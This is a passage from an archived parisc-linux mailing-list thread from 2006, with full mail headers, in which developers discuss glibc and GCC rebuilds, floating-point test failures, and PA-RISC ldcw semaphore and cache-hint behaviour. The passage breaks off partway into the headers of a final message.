Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "dave" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Apr 2006 06:42:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx058) with SMTP; 25 Apr 2006 08:42:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC8E87D6C0;
	Tue, 25 Apr 2006 00:42:11 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29708-04; Tue, 25 Apr 2006 00:42:11 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0AE637D76B;
	Tue, 25 Apr 2006 00:42:11 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8DF757D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 00:42:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29683-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 00:42:05 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 4A4947D672
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 00:42:05 -0600 (MDT)
Original-Received: from (fuji.is.scarlet.be [193.74.71.41]) 
	by oola.is.scarlet.be  with ESMTP id k3P6fvj24929; 
	Tue, 25 Apr 2006 08:41:57 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rbUkK1kVMydynYigZWplZmhraGRhZprG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23629

Dave, Carlos,
> > btw: just as game, I rebuild glibc-2.3.6 + my clone patch with gcc-4.=
1 and
> > with same src and same kernel (results vary a very few with kernel re=
lease?),
> 
> Have you tried rebuilding GCC with your new library?
Not yet...
>  I'm interested
> in knowing how the fortran and libstdc++ testresults turn out.
>
Ok just grab svn 20060425 (svn 113240) and start its build on my b2k, nev=
er
the less will take some time, I will advise asap ;-)
 
Carlos,

Ok for me to focus on float pb: I just started some month ago and iirc
numerous pb are around nan (Not-a-Number) values. TBH, before reading tha=
t I
was ignoring all about this (eventhought I was good in numerical computin=
g at
school, well 20 years ago, but not yet enough ;-) ). So I need first to
isolate faulty stuff then attempt to analyse the pb...

Hth,
    Joel
=0A=0A----------=0AWordt ook lid van de Scarlet Club via een bestaande Sc=
arlet klant en ontvang cadeaucheques twv EUR 50! Bezoek snel http://www.s=
carletclub.be=0ADevenez aussi membre du Club Scarlet via un client Scarle=
t existant et recevez des cheques cadeaux jusqu'a EUR 50! Surfez vite sur=
 http://www.clubscarlet.be

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Tue, 25 Apr 2006 10:17:14 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <200604251017.14866.mszick@morethan.org>
References: <200604241535.k3OFZmPJ027261@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624072 19405 80.91.229.3 (22 Nov 2014 02:41:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:12 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Apr 2006 15:17:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx086) with SMTP; 25 Apr 2006 17:17:38 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C8F87D736;
	Tue, 25 Apr 2006 09:17:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01289-10; Tue, 25 Apr 2006 09:17:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E092B7D765;
	Tue, 25 Apr 2006 09:17:29 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 031DA7D6D1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 09:17:25 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01265-08 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 09:17:24 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 1971B7D6A2
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 09:17:24 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3PFHGZg025963;
	Tue, 25 Apr 2006 08:17:16 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.75.40] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id Rk60xoC2
	authenticated by SMTP; Tue, 25 Apr 2006 08:17:16 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604241535.k3OFZmPJ027261@hiauly1.hia.nrc.ca>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 90wnK5AmMydynYigZWplZmhraGRhZtql
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23630

On Mon April 24 2006 10:35, John David Anglin wrote:
> > ldcw,co target_address
> > 
> > Where target_address includes the magic byte[0] of 
> > the cache line.
> 
> Where is this documented?
> 
Close, not quite there yet:

HP patent number: 4,713,755

The page to retrieve this by number:
http://patft1.uspto.gov/netahtml/PTO/srchnum.htm

Now it should be a 'simple' matter to just read
every patent that references this one.

Where in the _published HP documents_ that describe
the implementation - Ah, that is another question.

So far the closest approximation is the stw,bc
behavior when including magic byte[0].

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Mon, 24 Apr 2006 17:07:35 -0400 (EDT)
Lines: 67
Approved: news@gmane.org
Message-ID: <200604242107.k3OL7Zc7029333@hiauly1.hia.nrc.ca>
References: <200604241412.02200.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624072 19409 80.91.229.3 (22 Nov 2014 02:41:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mszick@morethan.org (Michael S. Zick)
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Apr 2006 21:07:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx053) with SMTP; 24 Apr 2006 23:07:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 990897D7B6;
	Mon, 24 Apr 2006 15:07:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25445-07; Mon, 24 Apr 2006 15:07:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 26D9D7D7A4;
	Mon, 24 Apr 2006 15:07:43 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F6E97D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 15:07:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25445-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 15:07:39 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8C0747D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 24 Apr 2006 15:07:38 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6) with ESMTP id k3OL7aB2029335;
	Mon, 24 Apr 2006 17:07:36 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.6/8.13.6/Submit) id k3OL7Zc7029333;
	Mon, 24 Apr 2006 17:07:35 -0400 (EDT)
In-Reply-To: <200604241412.02200.mszick@morethan.org> from "Michael S. Zick"
	at Apr 24, 2006 02:12:02 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FQl/dWIhIyd18PqQe2draGxaa2FkZpXG
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23631

> > > An exception (footnoted somewhere):
> > > ldcw,co does not set the dirty bit on the dcache line.
> > 
> > Don't see this. 
> >
> I agree, it is not clear
> 
> Start with:
> http://h21007.www2.hp.com/dspp/files/unprotected/parisc20/PA_7_inst_descriptions.pdf
> 
> Find section 7-74, physical page 76 of the above.
> 
> Sub-section: "If the cache control hint is not specified ..."
> 
> First bullet, last sentence:
> "If the line is retained in cache, it must not be marked dirty."
> 
> PA2.0 only does this on lines in cache with the co completer;
> therefore, it must be 'retained in cache'.
> 
> Now:
> Sub-section: "If the cache control hint is specified ..."
> 
> "... the semaphore operation _may_ be handled as if the cache control
> hint had not been specified ..."
> 
> Now add in the errata to this flow ...

I believe that the PA 2.0 errata requires support for the cache control
hint and that the operation must be performed in cache when it is specified.
The first bullet and second bullets only apply when the hint isn't specified.
I would argue that the errata requires PA 2.0 machines to effectively
use bullet 2 (see indivisible on page 7-75).  In this case, I believe
that the line has to marked dirty.  The difference being that the line
hasn't been flushed and zero written to memory.

The PA 1.1 situation is messy in that the arch gave the hardware designers
an out since the hint can be ignored.  So, on a mchine that's not coherent,
it seems like an efficient implementation would try load the line and
make it dirty before doing the ldcw.  However, this is only going to work
if the machine does the operation in cache.  It's allowed to use the
technique in bullet 1.  Thus, probably trying ldcw once and then sampling
with ldw is as optimal has it gets without checking the capabilities
of each CPU.  PA7100LC ERS says the cache control hint is supported and
will operate in cache if the line is present the cache.  PA7300LC ERS
states that ldcw hints are supported at all privilege levels.  So,
I would say add the hint but be aware that it might be ignored on some
cpus.

> Then jump forward a page to the first clause of the indivisible RTL
> statement:
> 
> Note that all the operations are qualified by "NO_HINT"

I think the hints used in mem_store are those in table 6-8 which is
why ldcw uses "NO_HINT".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Does it lakes some cloberred r1 in
Date: Tue, 25 Apr 2006 13:52:28 -0500
Lines: 47
Approved: news@gmane.org
Message-ID: <200604251352.28932.mszick@morethan.org>
References: <200604241535.k3OFZmPJ027261@hiauly1.hia.nrc.ca>
	<200604251017.14866.mszick@morethan.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624072 19416 80.91.229.3 (22 Nov 2014 02:41:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:12 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Apr 2006 18:52:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx074) with SMTP; 25 Apr 2006 20:52:50 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BF48A7D6EB;
	Tue, 25 Apr 2006 12:52:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02941-02; Tue, 25 Apr 2006 12:52:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A5C87D6EC;
	Tue, 25 Apr 2006 12:52:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EEB2A7D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 12:52:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02276-09 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 12:52:35 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id 070F67D6E5
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 12:52:34 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k3PIqXIX059816;
	Tue, 25 Apr 2006 11:52:33 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.75.40] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id ZYF05dL2
	authenticated by SMTP; Tue, 25 Apr 2006 11:52:32 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <200604251017.14866.mszick@morethan.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: SzYoLgBLaHI+vqWnKSUlaGJqamdhZASX
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23632

On Tue April 25 2006 10:17, Michael S. Zick wrote:
> On Mon April 24 2006 10:35, John David Anglin wrote:
> > > ldcw,co target_address
> > > 
> > > Where target_address includes the magic byte[0] of 
> > > the cache line.
> > 
> > Where is this documented?
> > 
> Close, not quite there yet:
> 
> HP patent number: 4,713,755
> 
> The page to retrieve this by number:
> http://patft1.uspto.gov/netahtml/PTO/srchnum.htm
> 
> Now it should be a 'simple' matter to just read
> every patent that references this one.
> 

One more conjecture confirmed,

The cache lines are a master/slave arrangement,
only one processor (or device) can be the master
(owner) of the cache line.

This is accomplished by keeping the cpu id (address)
of the master in the virtual tag.

Ref: HP patent number: 5,197,146

That is how the logical 'makePrivate' of the formal
memory model happens.

Translation:

Thou shall not allow load balancing to migrate a
task that holds a spinlock - you leave the master
of that cache line on the prior processor.

Mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Added clobbers to unaligned.c and uaccess.h
Date: Tue, 25 Apr 2006 16:09:34 -0400
Lines: 22
Approved: news@gmane.org
Message-ID: <119aab440604251309i4186ac6cp25b40f7b2c9f7549@mail.gmail.com>
References: <IY9MLX$78E3F79033FFF0B479BDF074F042B181@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624073 19423 80.91.229.3 (22 Nov 2014 02:41:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:41:13 +0000 (UTC)
Cc: dave <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:31 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Apr 2006 20:09:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx046) with SMTP; 25 Apr 2006 22:09:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 694177D71A;
	Tue, 25 Apr 2006 14:09:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03411-05; Tue, 25 Apr 2006 14:09:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 020E87D704;
	Tue, 25 Apr 2006 14:09:41 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1CAC7D6EC
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 14:09:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03415-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 14:09:37 -0600 (MDT)
Original-Received: from nz-out-0102.google.com (nz-out-0102.google.com [64.233.162.197])
	by free.linux.hp.com (Postfix) with ESMTP id 6F2407D6E1
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 14:09:37 -0600 (MDT)
Original-Received: by nz-out-0102.google.com with SMTP id q3so1880517nzb
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 Apr 2006 13:09:36 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=pw5YHdv01nZSHZ6ZOuDgrFbDJsxV0i6QXFC7x/OHncO+AlgT/cMIQsbd9+UXgj3vZ+CQWrPxnv2jL6b/mmHdELl0mlKqbzTnbh6oqWFERJJIxNC5FpHnq0OAJOk4Gx8e7OOiw4vDJlgcuU9F3q9HCw7VdQ0S+0J3fPIJTVqlc48=
Original-Received: by 10.36.227.54 with SMTP id z54mr2611793nzg;
	Tue, 25 Apr 2006 13:09:34 -0700 (PDT)
Original-Received: by 10.36.72.10 with HTTP; Tue, 25 Apr 2006 13:09:34 -0700 (PDT)
In-Reply-To: <IY9MLX$78E3F79033FFF0B479BDF074F042B181@scarlet.be>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Q/cvIL0ha0Aovr6aejEzMzQ3Njh6dI6/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23633

> Carlos,
>
> Ok for me to focus on float pb: I just started some month ago and iirc
> numerous pb are around nan (Not-a-Number) values. TBH, before reading tha=
t I
> was ignoring all about this (eventhought I was good in numerical computin=
g at
> school, well 20 years ago, but not yet enough ;-) ). So I need first to
> isolate faulty stuff then attempt to analyse the pb...

Perhaps ask Dave if he has some libstdc++ failures for you to look into?
There are all sorts of interesting areas you can learn if you are intereste=
d.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
